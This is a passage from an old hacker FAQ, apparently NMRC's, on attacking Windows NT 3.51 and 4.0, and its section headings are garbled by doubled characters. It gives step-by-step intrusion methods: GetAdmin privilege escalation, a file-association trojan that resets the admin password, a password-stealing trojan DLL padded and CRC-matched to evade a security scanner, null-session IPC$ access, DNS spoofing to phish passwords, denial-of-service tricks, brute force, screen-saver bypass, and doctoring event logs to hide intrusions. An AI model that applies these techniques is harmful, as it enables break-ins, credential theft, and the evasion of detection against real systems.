NetMon is Microsoft's Network Monitor. It is a sniffer that runs under NT, and being a sniffer if you have to ask why you care, well, never mind ;-) NetMon is protected by a password scheme on version 3.51 that has nothing to do with regular NT security. In Phrack 48 file 15, AON and daemon9 have not only cracked the encryption scheme, they have written exploits for it as well. Check the resources section for the location of the exploit code (it includes full source including a Unix version in case you do not have an NT compiler).

By the way, compared to other commercial sniffers, this early version of NetMon sucks. It would only look at traffic to and from the machine you are running it on. However, newer versions of NetMon supposedly do actual promiscuous sniffing and is a more useful tool. I have not seen this new NetMon but others report good things about it.

1#11#1.#.

N#NT#T C#Cl#li#ie#en#nt#t A#At#tt#ta#ac#ck#ks#s

This section deals with attacking NT remotely.

1#11#1.#.1#1.#. W#Wh#ha#at#t i#is#s G#Ge#et#tA#Ad#dm#mi#in#n.#.e#ex#xe#e a#an#nd#d C#Cr#ra#as#sh#h4#4.#.e#ex#xe#e?#?

GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a subfunction in NtAddAtom that does not check the address of the output. By altering where the output can be written to, GetAdmin adds a user to the Administrators group. It works on NT 4.0.

The easiest way to use it is to simply copy it to \TEMP (along with its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever account you wish to add).

This will add Guest to the Administrators group.

GetAdmin will add domain accounts on a primary domain controller and even other domain accounts. Since it is a command line tool, it will work across a telnet session if you've uploaded it to the target.

There is a post SP3 Hot Fix available from Microsoft that defeats this

if loaded.

Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply run Crash4 and followed by GetAdmin as previously mentioned. Crash4 rearranges a few things on the stack to allow GetAdmin to work.

1#11#1.#.2#2.#. S#Sh#ho#ou#ul#ld#d I#I e#ev#ve#en#n t#tr#ry#y f#fo#or#r l#lo#oc#ca#al#l a#ad#dm#mi#in#ni#is#st#tr#ra#at#to#or#r a#ac#cc#ce#es#ss#s?#?

Oh yes. A lot of NT administrators do not understand that when an NT box joins a domain, if they left that administrator password blank, it doesn't get "filled in" or "overwritten". Belonging to a domain does NOT turn off local users.

If you gain local administrator, try some of these tricks (these will work with the default settings after installation on the target): +#o

NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)

+#o

Add the machine name this returns to your LMHOSTS file.

+#o

If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the NetBios names.

+#o

Try NET VIEW \\machinename to see the shares

+#o

Try DIR \\machinename\share to list shares if open

+#o

Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com, which should get you the user names under NT 4.0.

1#11#1.#.3#3.#. I#I h#ha#av#ve#e g#gu#ue#es#st#t r#re#em#mo#ot#te#e a#ac#cc#ce#es#ss#s.#. H#Ho#ow#w c#ca#an#n I#I g#ge#et#t a#ad#dm#mi#in#ni#is#st#tr#ra#at#to#or#r a#ac#cc#ce#es#ss#s?#?

The easiest way is to run GetAdmin as mentioned above, but here is an older tricks for basic NT 3.51, which as some has some stuff read/writeable by default. You could edit the association between an application and the data file extension using regedt32. First off, you should write a Win32 app that does nothing but the following net user administrator biteme /y notepad %1 %2 %3 %4 %5

In a share you have read/write access to, upload it. Now change the association between .txt files and notepad to point to the location of the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.

Now wait for the administrator to launch a text file by double clicking on it, and the password becomes "biteme".

Of course, if the Sys Admin is smart they will have removed write

permission from Everyone for HKEY_CLASSES_ROOT, only giving out full access to creator\owner.

1#11#1.#.4#4.#. W#Wh#ha#at#t a#ab#bo#ou#ut#t %#%s#sy#ys#st#te#em#mr#ro#oo#ot#t%#%t#te#em#m3#32#2 b#be#ei#in#ng#g w#wr#ri#it#te#ea#ab#bl#le#e?#?

Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that directory. This file typically exists in a mixed NT/Netware environment. First compile the exploit code written by Jeremy Allison (jra@cygnus.com) and call the resulting file FPNWCLNT.DLL. A pointer to the exploit code is in the Resources section. Now wait for the user names and passwords to get written to a file in \temp.

If you load this on a Primary Domain Controller, you'll get EVERYBODY'S password. You have to reboot the server after placing the trojan in %systemroot%\system32.

ISS (www.iss.net) has a security scanner for NT which will detect the trojan DLL, so you may wish to consider adding in extra junk to the above code to make the size of the compiled DLL match what the original was, and using a CRC matcher program (several exist on the Internet) to make the CRC between the trojan and the real version match. This will prevent the current shipping version of ISS's NT scanner from picking up the trojan.

It should be noted that by default the group Everyone has default permissions of "Change" in %systemroot\system32, so any DLL that is not in use by the system could be replaced with a trojan DLL that does something else.

1#11#1.#.5#5.#. W#Wh#ha#at#t i#if#f t#th#he#e p#pe#er#rm#mi#is#ss#si#io#on#ns#s a#ar#re#e r#re#es#st#tr#ri#ic#ct#te#ed#d o#on#n t#th#he#e s#se#er#rv#ve#er#r?#?

By default the NT administrator account does not have a lockout feature like normal users accounts, to prevent a denial-of-service attack on the administrator account. Since failed logins are not logged by default, you could possibly gain administrator access by sheer brute force.

If the Sys Admin runs passprop.exe they can turn on the lockout feature of Administrator.

1#11#1.#.6#6.#. W#Wh#ha#at#t e#ex#xa#ac#ct#tl#ly#y d#do#oe#es#s t#th#he#e N#Ne#et#tB#Bi#io#os#s A#Au#ud#di#it#ti#in#ng#g T#To#oo#ol#l d#do#o?#?

Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as well as the complete source code. It is the "SATAN" of NetBios based systems.

Here is a quote from Secure Networks Inc about the product "The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing services offered by the target system. It implements a stepwise approach to gather information and attempt to obtain file system-level access as though it were a legitimate local client.

"The major steps are as follows: "A UDP status query is sent to the target, which usually elicits a reply containing the Netbios 'computer name'. This is needed to establish a session. The reply also can contain other information such as the workgroup and account names of the machine's users. This part of the program needs root privilege to listen for replies on UDP port 137, since the reply is usually sent back to UDP port 137 even if the original query came from some different port.

"TCP connections are made to the target's Netbios port [139], and session requests using the derived computer name are sent across.

Various guesses at the computer name are also used, in case the status query failed or returned incomplete information. If all such attempts to establish a session fail, the host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was reachable.

"Provided a connection is established Netbios 'protocol levels' are now negotiated across the new connection. This establishes various modes and capabilities the client and server can use with each other, such as password encryption and if the server uses user-level or share-level Security. The usable protocol level is deliberately limited to LANMAN version 2 in this case, since that protocol is somewhat simpler and uses a smaller password keyspace than NT. "If the server requires further session setup to establish credentials, various defaults are attempted. Completely blank usernames and passwords are often allowed to set up standard account names such as ADMINISTRATOR, and some of the names returned from the status query. Extensive username/password checking is NOT done at this point, since the aim is just to get the session established, but it should be noted that if this phase is reached at all MANY more guesses can be attempted and likely without the owner of the target being immediately aware of it.

"Once the session is fully set up, transactions are performed to collect more information about the server including any file system 'shares' it offers.

"Attempts are then made to connect to all listed file system shares and some potentially unlisted ones. If the server requires passwords for the shares, defaults are attempted as described above for session setup. Any successful connections are then explored for writeability and some well-known file-naming problems [the ".." class of bugs].

"If a NETBIOS session can be established at all via TCP port 139, the target is declared under the appropriate vulnerability at most of these steps, since any point along the way be blocked by the Security configurations of the target. Most Microsoft-OS based servers and Unix SAMBA will yield computer names and share lists, but not allow actual file-sharing connections without a valid username and/or password. A remote connection to a share is therefore a possibly serious Security problem, and a connection that allows WRITING to the share almost certainly so. Printer and other 'device' services offered by the server are currently ignored."

If you need more info on NAT, try looking at this web location:

http://www.secnet.com/ntinfo/ntaudit.html <http://www.secnet.com/ntinfo/ntaudit.html> 1#11#1.#.7#7.#. W#Wh#ha#at#t i#is#s t#th#he#e "#"R#Re#ed#d B#Bu#ut#tt#to#on#n"#" b#bu#ug#g?#?

MWC has released an exploit that allows the following to occur -- the registry of a remote machine can be accessed, a list of users AND of shares can be obtained, even if the intruder hasn't logged in.

There is a built in user called "anonymous" that is usually used for communication between machines. This exploit takes advantage of the fact that anonymous is a member of the group Everyone. Because of this, the following can be done: +#o

Any share that can be accessed by Everyone is vulnerable.

+#o

System and application logs can be read.

+#o

Any NT machine with NetBios bound to the network can have its registry read or written to if Everyone has that access.

+#o

Using Lan Manager calls can give a list of all users, the Administrator (if renamed), and a list of all shares.

Using this access a trojan could be loaded, since often the group Everyone has access to application software.

It is possible that a Sys Admin could have unbound NetBios from the interface. This would disallow some access. Typically at a security aware site you would find the machines outside the firewall, like the Web server or FTP server configured this way (and all other access blocked by the firewall. However if you compromise the machine this could be a handy partial backdoor -- especially if you are using one machine as a "drop" during an attack.

The bug can manually be done -- no exploit code needed. Try this from a 4.00 workstation: net use \\targetserver\ipc$ "" /user:""

Now run User Manager, Event Viewer, Registry Editor, or simply use the net command to target the remote machine.

The administrator account's SID always ends in -500 (Guest is -501) so find that and you have the administrator account, even if renamed. The built-in local groups (documented and undocumented) always have the same SID, so check out your own machine first and compare -especially if some of these have been renamed.

If all the users are moved from the Everyone group, you not be able to

exploit this. For you admins out there, ISS has released a tool to automate this "move users out of Everyone" process. And admins you should check and see what shares that Everyone can get to.

MWC's web site is http://www.ntsecurity.com/ <http://www.ntsecurity.com/>, and the exploit code can be found there.

ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe <ftp://ftp.iss.net/everyone2users.exe>.

1#11#1.#.8#8.#. W#Wh#ha#at#t a#ab#bo#ou#ut#t f#fo#or#rg#gi#in#ng#g D#DN#NS#S p#pa#ac#ck#ke#et#ts#s f#fo#or#r s#su#ub#bv#ve#er#rs#si#iv#ve#e p#pu#ur#rp#po#os#se#es#s?#?

Sure. ;-) By forging UDP packets, NT name server caches can be compromised. If recursion is allowed on the name server, you can do some nasty things.

Recursion is when a server receives a name server lookup request for a zone or domain for which is does not serve. This is typical how most setups for DNS are done.

So how do we do it? We will use the following example: We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our mission? Make the users at lame.com access pirate.nmrc.org when they try to access www.lamer.net.

Okay, assume automation is at work here to make the attack smoother... +#o

DNS query is sent to ns.lame.com asking for address of bait.nmrc.org.

+#o

ns.lame.com asks ns.nmrc.org what the address is.

+#o

The request is sniffed, and the query ID number is obtained from the request packet.

+#o

DNS query is sent to ns.lame.com asking for the address of www.lamer.net.

+#o

Since we know the previous query ID number, chances are the next query ID number will be close to that number.

+#o

We send spoofed DNS replies with several different query ID numbers. These replies are spoofed to appear to come from ns.lamer.net, and state that its address is 10.10.10.2.

+#o

pirate.nmrc.org is set up to look like www.lamer.net, except maybe it has a notice to "go to the new password page and set up an account and ID". Odds are this new password is used by that lame.com user somewhere else...

With a little creativity, you can also do other exciting things like reroute (and make copies of) email, denial of service (tell lame.com

that www.lamer.net doesn't exist anymore), and other fun things.

Supposedly SP 3 fixes this.

1#11#1.#.9#9.#.

W#Wh#ha#at#t a#ab#bo#ou#ut#t s#sh#ha#ar#re#es#s?#?

The main thing to realize about shares is that there are a few that are invisible. Administrative shares are default accounts that cannot be removed. They have a $ at the end of their name. For example C$ is the administrative share for the C: partition, D$ is the administrative share for the D: partition. WINNT$ is the root directory of the system files.

By default since logging is not enabled on failed attempts and the administrator doesn't get locked out from false attempts, you can try and try different passwords for the administrator account. You could also try a dictionary attack. Once in, you can get at basically anything.

1#11#1.#.1#10#0.#. H#Ho#ow#w d#do#o I#I g#ge#et#t a#ar#ro#ou#un#nd#d a#a p#pa#ac#ck#ke#et#t f#fi#il#lt#te#er#r-#-b#ba#as#se#ed#d f#fi#ir#re#ew#wa#al#ll#l?#?

If the target NT box is behind a firewall that is doing packet filtering (which is not considered firewalling by many folks) and it does not have SP3 loaded it is possible to send it packets anyway.

This involves sending decoy IP packet fragments with specially crafted headers that will be "reused" by the malicious IP packet fragments.

This is due to a problem with the way NT's TCP/IP stack handles reassembling fragmented packets. As odd as this sounds, example code exists to prove it works. See the web page at http://www.dataprotect.com/ntfrag <http://www.dataprotect.com/ntfrag> for details.

How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet with the offset of zero in the header. The example source forges the headers to get around this, and NT happily reassembles what does arrive.

1#11#1.#.1#11#1.#. I#I h#ha#ac#ck#k f#fr#ro#om#m m#my#y L#Li#in#nu#ux#x b#bo#ox#x.#. H#Ho#ow#w c#ca#an#n I#I d#do#o a#al#ll#l t#th#ha#at#t G#GU#UI#I s#st#tu#uf#ff#f o#on#n r#re#em#mo#ot#te#e N#NT#T s#se#er#rv#ve#er#rs#s?#?

Try and get familiar with the net use and net user commands before attacking.

The main problem is adjusting NT file security attributes. Some utilities are available with NT that can be used, but I'd recommend using the NT Command Line Security Utilities. They include: saveacl.exe restacl.exe

- saves file, directory and ownership permissions to a file - restores file permissions and ownership from a saveacl file

listacl.exe swapacl.exe grant.exe revoke.exe igrant.exe irevoke.exe setowner.exe nu.exe

-

lists file permissions in human readable format swaps permissions from one user or group to another grants permissions to users/groups on files revokes permissions to users/groups on files grants permisssions to users/groups on directories revokes permissions to users/groups on directories sets the ownership of files and directories 'net use' replacement, shows the drives you're connected to

The latest version can be found at ftp://ftp.netcom.com/pub/wo/woodardk/ <ftp://ftp.netcom.com/pub/wo/woodardk/>.

1#12#2.#.

N#NT#T D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e

This section deals with ``Denial of Service'' attacks that are specific to NT. 1#12#2.#.1#1.#. W#Wh#ha#at#t c#ca#an#n t#te#el#ln#ne#et#t g#gi#iv#ve#e m#me#e i#in#n t#th#he#e w#wa#ay#y o#of#f d#de#en#ni#ia#al#l o#of#f s#se#er#rv#vi#ic#ce#e?#?

There are several DoS attacks involving a simple telnet client that can be used against an NT server.

First, by telnetting to port 53, 135, or 1031, and then typing in about 10 or so characters and hitting enter will cause problems. If DNS (port 53) is running, DNS will stop. If 135 answers, the CPU utilization will increase to 100%, slowing performance. And if port 1031 is hit, IIS will get knocked down. Typically the fix is to reboot the server, as it will be hung or so slow as to render it useless.

Telnetting to port 80 and typing "GET ../.." will also crash IIS. If the latest service pack is loaded the attack will not work.

1#12#2.#.2#2.#. W#Wh#ha#at#t c#ca#an#n I#I d#do#o w#wi#it#th#h S#Sa#am#mb#ba#a?#?

Don't get me started ;-) As far as DoS, if you connect to a server with Samba to 3.X NT that does not have the latest service pack loaded, you can send it "DIR ..\" and crash it.

1#12#2.#.3#3.#. W#Wh#ha#at#t'#'s#s w#wi#it#th#h R#RO#OL#LL#LB#BA#AC#CK#K.#.E#EX#XE#E?#?

If the file ROLLBACK.EXE is executed, the registry can be wiped. You must re-install or do a complete restore if this happens to you. Sys Admins will probably want to remove this file. Renamed, it makes for

one hell of a nasty trojan.

It is reportedly possible to lock onto a port, say like port 19, and when the server crashes and comes up ROLLBACK.EXE will start trying to unlock the port and subsequently opens up the registry for anyone to wipe it. I was unsuccessful in getting this to happen in the lab, but probably because I find DoS attacks rather lame I didn't try very hard to get it to work. But others claim it can happen, so keep it in mind.

1#12#2.#.4#4.#.

W#Wh#ha#at#t i#is#s a#an#n O#OO#OB#B a#at#tt#ta#ac#ck#k?#?

This attack is fairly simple, and a fair amount of source code is available. Basically it involves sending an out-of-band message to a Windows operating system. Typically port 139 is used. This was patched with SP3 and a Hot Fix but apparently with a little monkeying around with the code you can get around this.

This DoS is very popular, mainly because of the wide variety of implementations of sockets. I've seen Unix and Windows NT versions of code, an implementation in Perl, and even an implementation using the Rexx Socket APIs on OS/2.

If you are so inclined, try a web search for "winnuke" which will get you probably a thousand locations with the code.

1#12#2.#.5#5.#. A#Ar#re#e t#th#he#er#re#e a#an#ny#y o#ot#th#he#er#r D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e a#at#tt#ta#ac#ck#ks#s?#?

If a domain user logs onto the console, creates a file and removes its permissions, it is possible that another user can log onto the console and delete the file. The problem affects all versions of NT. However, this isn't what I'd consider "Denial of Service" as it is more like denial of a file. Depending on the file, though, it could be used as DoS. If you are running smbmount with version 2.0.25 of Linux, you can crash an NT server. smbmount is intended to be run on Linux 2.0.28 or higher, so it doesn't work right on 2.0.25. You also need a legit user account. Running as root, type smbmount //target/service /mnt -U client_name, followed by ls /mnt will hang the shell on Linux (no biggie) and blue screen the target server (biggie).

The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server.

If you send it a DNS response when it did not make a query, DNS will crash.

The latest service packs and post service pack patches fix all of these problems.

1#13#3.#.

N#NT#T L#Lo#og#gg#gi#in#ng#g a#an#nd#d B#Ba#ac#ck#kd#do#oo#or#rs#s

This section contains info regarding logging and backdoors for NT.

1#13#3.#.1#1.#. W#Wh#he#er#re#e a#ar#re#e t#th#he#e c#co#om#mm#mo#on#n l#lo#og#g f#fi#il#le#es#s i#in#n N#NT#T?#?

These are located in %root%\SYSTEM32\CONFIG. They are: +#o

AppEvent.Evt - Records events involving the running of certain applications.

+#o

SecEvent.Evt - Records security events.

+#o

SysEvent.Evt - Records basic events.

As a hacker do not worry about the AppEvent.Evt file much -- you are mainly concerned with items in the regular event log (the SysEvent.Evt file) and the security log (the SecEvent.Evt). By default regular users should be able to read the regular event log, and you may wish to look that over if you can to see if your "visit" left a trace. If it did and the entries look out of place, consider adding entries from other users that are similiar by accessing the system as these other users.

You have to have Administrative Group rights to view the security event log. And you'll certainly want to check that to see what is in it.

1#13#3.#.2#2.#. H#Ho#ow#w d#do#o I#I e#ed#di#it#t/#/c#ch#ha#an#ng#ge#e N#NT#T l#lo#og#g f#fi#il#le#es#s w#wi#it#th#ho#ou#ut#t b#be#ei#in#ng#g d#de#et#te#ec#ct#te#ed#d?#?

Well this can be a little tricky as these files are locked in place during NT's operation. You have a couple of choices at this time -wipe the logs or try to add stuff to them to add camoflage obfuscation. Not elegant, but better than nothing.

1#14#4.#.

N#NT#T M#Mi#is#sc#c.#. A#At#tt#ta#ac#ck#k I#In#nf#fo#o

This section has miscellaneous information regarding hacking and NT. 1#14#4.#.1#1.#. H#Ho#ow#w i#is#s f#fi#il#le#e a#an#nd#d d#di#ir#re#ec#ct#to#or#ry#y s#se#ec#cu#ur#ri#it#ty#y e#en#nf#fo#or#rc#ce#ed#d?#?

Since files and directories are considered objects (same as services), the security is managed at an "object" level.

An access-control list (ACL) contains information that controls access to an object or controls auditing of attempts to access an object. It begins with a header contains information pertaining to the entire ACL, including the revision level, the size of the ACL, and the number of access-control entries (ACEs) in the list.

After the header is a list of ACEs. Each ACE specifies a trustee, a set of access rights, and flags that dictate whether the access rights are allowed, denied, or audited for the trustee. A trustee can be a

user account, group account, or a logon account for a service program.

A security descriptor can contain two types of ACLs: a discretionary ACL (DACL) and a system ACL (SACL).

In a DACL, each ACE specifies the types of access that are allowed or denied for a specified trustee. An object's owner controls the information in the object's DACL. For example, the owner of a file can use a DACL to control which users can have access to the file, and which users are denied access.

If the security descriptor for an object does not have a DACL, the object is not protected and the system allows all attempts to access the object. However, if an object has a DACL that contains no ACEs, the DACL does not grant any access rights. In this case, the system denies all attempts to access the object.

In a SACL, each ACE specifies the types of access attempts by a specified trustee that cause the system to generate audit records in the system event log. A system administrator controls the information in the object's SACL. An ACE in a SACL can generate audit records when an access attempt fails, when it succeeds, or both.

To keep track of the individual object, a Security Identifier (SID) uniquely identify a user or a group.

A SID contains: +#o

User and group security descriptors

+#o

48-bit ID authority

+#o

Revision level

+#o

Variable subauthority values

A privilege is used to control access to a service or object more strictly than is normal with discretionary access control. Privileges provide access to services rarely needed by most users. For example, one type of privilege might give access for backups and restorals, another might allow the system time to be changed.

1#14#4.#.2#2.#.

W#Wh#ha#at#t i#is#s N#NT#TF#FS#S?#?

NTFS is the Windows NT special file system. This file system is tightly integrated into Windows security -- it is what allows access levels to be set from the directory down to individual files within a directory.

1#14#4.#.3#3.#. A#Ar#re#e t#th#he#er#re#e a#ar#re#e v#vu#ul#ln#ne#er#ra#ab#bi#il#li#it#ti#ie#es#s t#to#o N#NT#TF#FS#S a#an#nd#d a#ac#cc#ce#es#ss#s c#co#on#nt#tr#ro#ol#ls#s?#?

Not so much vulnerabilities as there are quirks -- quirks that can be exploited to a certain degree.

For example, let's say the system admin has built a home directory for you on the server, but has disallowed the construction of directories or files that you wish to make available to the group Everyone. You are wanting to make this special directory so that you can easily retrieve some hack tools but you are cut off. However, if the sys admin left you as the owner of the home directory, you can go in and alter its permissions. This is because as long as you are the owner or Administrator you still control the file. Oh sure, you may get a few complaints from the system when you are doing it, but it can be done.

Since NTFS has security integrated into it, there are not too many ways around it. The main one requires access to the physical system.

Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will allow you to access an NTFS volume bypassing security.

The last quirk is that if you have a directory with Full Control instead of RWXDPO permissions, then you get a hidden permission called File Delete Child. FDC cannot be removed. This means that all members of the group Everyone can delete any read-only file in the directory.

Depending on what the directory contains, a hacker can replace a file with a trojan.

1#14#4.#.4#4.#. W#Wh#ha#at#t i#is#s S#Sa#am#mb#ba#a a#an#nd#d w#wh#hy#y i#is#s i#it#t i#im#mp#po#or#rt#ta#an#nt#t?#?

Samba is a freeware app developed by Andy Tridgell. It is a great tool for helping integrate Unix into Microsoft Windows and Lan Manager environments. The main idea is that you can, with Samba, allow a Unix machine to access file and directories. The other handy thing about Samba is that like most Unix freeware you get the source code.

Most hackers seem to have Linux up and running, so loading up Samba allows you several tactical advantages. A number of the exploits described here require access to a privileged port (< 1024). If you are root on your own Linux box, you can start exploits from those needed ports. A lot of the tests in the NMRC lab were conducted using Samba. In fact when World Star Holdings Ltd in Canada had their lame Cybertest '96 contest on June 12th, yours truly used Samba to break in (but I wasn't first).

Samba talks SMB and can directly access Windows NT hardware, and Hobbit (hobbit@avian.org) has put together a very interesting paper entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly recommended reading for admins and hackers alike. Included in the paper are details and source patches to allow easier attacking on NT. Studying the source code of Samba taught me a lot, but Hobbit's paper puts everything in a whole new light. It provides some well documented basics on how a lot of the communications work, detailing exactly WHY certain protocols and behaviours are vulnerable to abuse.

Get Samba and read its documentation. Read Hobbit's paper and apply the patches. Period.

1#14#4.#.5#5.#.

H#Ho#ow#w d#do#o I#I b#by#yp#pa#as#ss#s t#th#he#e

s#sc#cr#re#ee#en#n s#sa#av#ve#er#r?#?

If a user has locked their local workstation using CTRL+ALT+DEL, and you can log in as an administrator, you will have a window of a few seconds where you will see the user's desktop, and even manipulate things. This trick works on NT 3.5 and 3.51, unless the latest service pack has been loaded.

If the service pack has been loaded, but it's still 3.X, try the following. +#o

From another NT workstation, type shutdown \\ /t:30

+#o

This will start a 30 second shutdown on the target and a Security window will pop up.

+#o

Cancel the shutdown with shutdown \\ /a

+#o

The screen saver will kick back in.

+#o

Wiggle the mouse on the target. The screen will go blank.

+#o

Now do a ctrl-alt-del on the target.

+#o

An NT Security window will appear. Select cancel.

+#o

You are now at the Program Manager.

1#14#4.#.6#6.#. H#Ho#ow#w c#ca#an#n I#I d#de#et#te#ec#ct#t t#th#ha#at#t a#a m#ma#ac#ch#hi#in#ne#e i#is#s i#in#n f#fa#ac#ct#t N#NT#T o#on#n t#th#he#e n#ne#et#tw#wo#or#rk#k?#?

Hopefully it is a web server, and they've simply stated proudly "we're running NT", but don't expect that...

Port scanning will find some. Typically you'll see port 135 open. This is no guarantee it's not Windows 95, however. Using Samba you should be able to connect and query for the existence of HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check \CurrentVersion\CurrentVersion to determine the version running. If guest is enabled, try this first as Everyone has read permissions here by default.

Port 137 is used for running NetBios over IP, and since in the Windows world NetBios is used, certainly you can expect port 137 to be open if IP is anywhere in use around NT. Another possible indication is checking for port 139. This tells you your target is advertising an SMB resource to share info, but it could be any number of things, such as a Windows 95 machine or even Windows for Workgroups. These may not be entirely out of the question as potential targets, but if you are after NT you will have to use a combination of the aforementioned techniques coupled with some common sense.

To simplify this entire process, Secure Networks Inc. has a freeware

utility called NetBios Auditing Tool. This tool's intent is to test NetBios file sharing configurations and passwords on remote systems.

It is discussed more in detail in the ``NT Client Attack'' section.

1#14#4.#.7#7.#. C#Ca#an#n I#I d#do#o o#on#n-#-t#th#he#e-#-f#fl#ly#y d#di#is#sk#k e#en#nc#cr#ry#yp#pt#ti#io#on#n o#on#n N#NT#T?#?

Try Shade. It allows you to create an encrypted disk device inside a file. This "device" can then be formatted using either NTFS or FAT and used as a regular disk. Shade encrypts on every write operation and decrypts on every read operation to this new device.

Look for Shade at: http://softwinter.bitbucket.co.il/shade.html <http://softwinter.bitbucket.co.il/shade.html> 1#14#4.#.8#8.#. D#Do#oe#es#s t#th#he#e F#FT#TP#P s#se#er#rv#vi#ic#ce#e a#al#ll#lo#ow#w p#pa#as#ss#si#iv#ve#e c#co#on#nn#ne#ec#ct#ti#io#on#ns#s?#?

I was playing around in the registry, looking for odd things, and found this strange entry under System\CurrentControlSet\Services\MSFTPSVC\Parameters: EnablePortAttack: REG_DWORD:

If set to 1, you can do passive connections depending on the TCP port you use. A passive connection is where you can connect to FTP site alice.com, and from there connect to site bob.com. It is used by hackers because any odd connections at bob.com will appear in logs as coming from alice.com. Most typical is a port scan.

A port scanner for doing this from a Unix box can be found at http://www.nmrc.org/files/unix/ftp-scan.c <http://www.nmrc.org/files/unix/ftp-scan.c> 1#14#4.#.9#9.#. W#Wh#ha#at#t i#is#s t#th#hi#is#s "#"p#po#or#rt#t s#sc#ca#an#nn#ni#in#ng#g"#" y#yo#ou#u a#ar#re#e t#ta#al#lk#ki#in#ng#g a#ab#bo#ou#ut#t?#?

Port scanning is a technique to check TCP/IP ports to see what services are available. For example port 80 is typically a web server, port 25 is SMTP used by Internet mail and so on. By scanning and seeing what TCP/IP ports are listening at the end of a TCP/IP address, you can get an idea as to what type of box the target might be, what services are available, and possibly plan an attack if you are aware of an exploit involving a particular service.

If port 135, 137, 138, and 139 are open on the target of a scan, it is quite possible that the target is NT (although it could be Win95 or even WFW 3.11, see the questions and answers above).

1#14#4.#.1#10#0.#.

D#Do#oe#es#s N#NT#T h#ha#av#ve#e b#bu#ug#gs#s l#li#ik#ke#e

U#Un#ni#ix#x'#' s#se#en#nd#dm#ma#ai#il#l?#?

If the server is running a POP3 server like Exchange, you can use a brute force technique to guess passwords. Odds are that the sys admin is not logging or looking at logs for this stuff. In particular, if you are dealing with a sys admin that isn't used to the wild and wooly Unix world, it may not even occur to the admin to look. This is something that NT folks are just now having to face, whereas their Unix admin counterparts have had to maintain this level of scrutiny for a while.

1#14#4.#.1#11#1.#. H#Ho#ow#w i#is#s p#pa#as#ss#sw#wo#or#rd#d c#ch#ha#an#ng#gi#in#ng#g r#re#el#la#at#te#ed#d t#to#o "#"l#la#as#st#t l#lo#og#gi#in#n t#ti#im#me#e"#"?#?

Let's say an admin is checking the last time certain users have logged in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time it will NOT be.

Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the PDC that they have an update of the last login time until a password change has been done. And the NET USER /DOMAIN command checks the PDC, so last login time returned from this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that last login times will probably not be very accurate 1#14#4.#.1#12#2.#. C#Ca#an#n s#se#es#ss#si#io#on#ns#s b#be#e h#hi#ij#ja#ac#ck#ke#ed#d?#?

In theory, however no one has yet coded the exploit. It would involve a complex spoofing job where not only would the session have to be hijacked at the transport level (getting all of the ACK/NACK numbering correct), but the tree ID (TID) and user ID (UID) would have to be spoofed at the redirector and server level respectively. We are talking SMB at this point.

A more likely session to be hijacked would be a telnet session to an NT server, but this applies to any straight telnet session, NT or not, and is beyond the scope of this question. For more information refer to http://www.nmrc.org/files/unix/ip-exploit.txt..

1#14#4.#.1#13#3.#. A#Ar#re#e "#"m#ma#an#n i#in#n t#th#he#e m#mi#id#dd#dl#le#e"#" a#at#tt#ta#ac#ck#ks#s p#po#os#ss#si#ib#bl#le#e?#?

Ealry versions of LANMAN send the password in the clear -- which is definately sniffer-bait. But the challenge/response authentication used by LANMAN 2.1 and earlier is subject to possible attack -- namely a plaintext attack. Since the challenge is plaintext, an attacker can acquire known plaintext/ciphertext pairs. Offline, the attacker can

then test a guess at a password by using it to generate a key, encrypting the plaintext, and comparing it to the corresponding ciphertext. If it matches, the password is compromised.

Since case doesn't matter, a brute force attack is theoretically possible against plaintext/ciphertext pair obtained via a known plaintext attack.

However, this is simply offline attacking. A true man-in-the-middle attack allows a third party to intercept and replace components of the challenge/response conversation with their own, acquiring the password or even taking over the session itself. However, the easier of the two is getting the password.

By catching the start of a client would response with attacker would know a part effort needed to break the

conversation and forging the challenge, the the response to the server, and the of the equation, shortening the time and plaintext/ciphertext pair.

By "precompiling" a list of response/password pairs, the password could be determined even quicker.

NT LM 0.12 uses MD4 to generate keying material, and since upper and lower case are allowed, the full 56 bits allowed by DES can be used.

This does not eliminate the problem -- it simply increases the difficulty of brute force against a plaintext/ciphertext pair.

However this does nothing towards a realtime attack. The best method would be as follows: +#o

Client starts a session.

+#o

Attacker sees this session, and waits for the response from the server.

+#o

Server sends the response and the Attacker grabs it.

+#o

Attacker removes the SMB_COM_NEGPROT bit and sends it to the Client.

+#o

Client receives the Attacker's packet, and now assumes a plaintext password should be used.

+#o

Client receives the real packet from the server, but ignores it thinking it is a dupe.

+#o

Client sends the password in plaintext.

+#o

Attacker grabs the password and now logs into the Server directly.

+#o

Client times out or gets an error, and figures a network error has occurred. Client tries to log in again.

It is also possible in theory to catch the session before the authentication process even starts. For example:

+#o

Client starts a session, and sends a request to the DNS server to resolve a host name.

+#o

Attacker sees this request, and forges a reply that the Attacker's IP address is the address for the host the Client is requesting.

+#o

Attacker sends request to DNS server cancelling Client's request.

+#o

Client starts to log into Attacker.

+#o

Attacker tells Client to send the password as plaintext.

+#o

Client complies, and Attacker proceeds to login to original host that the Client was asking the DNS server about.

+#o

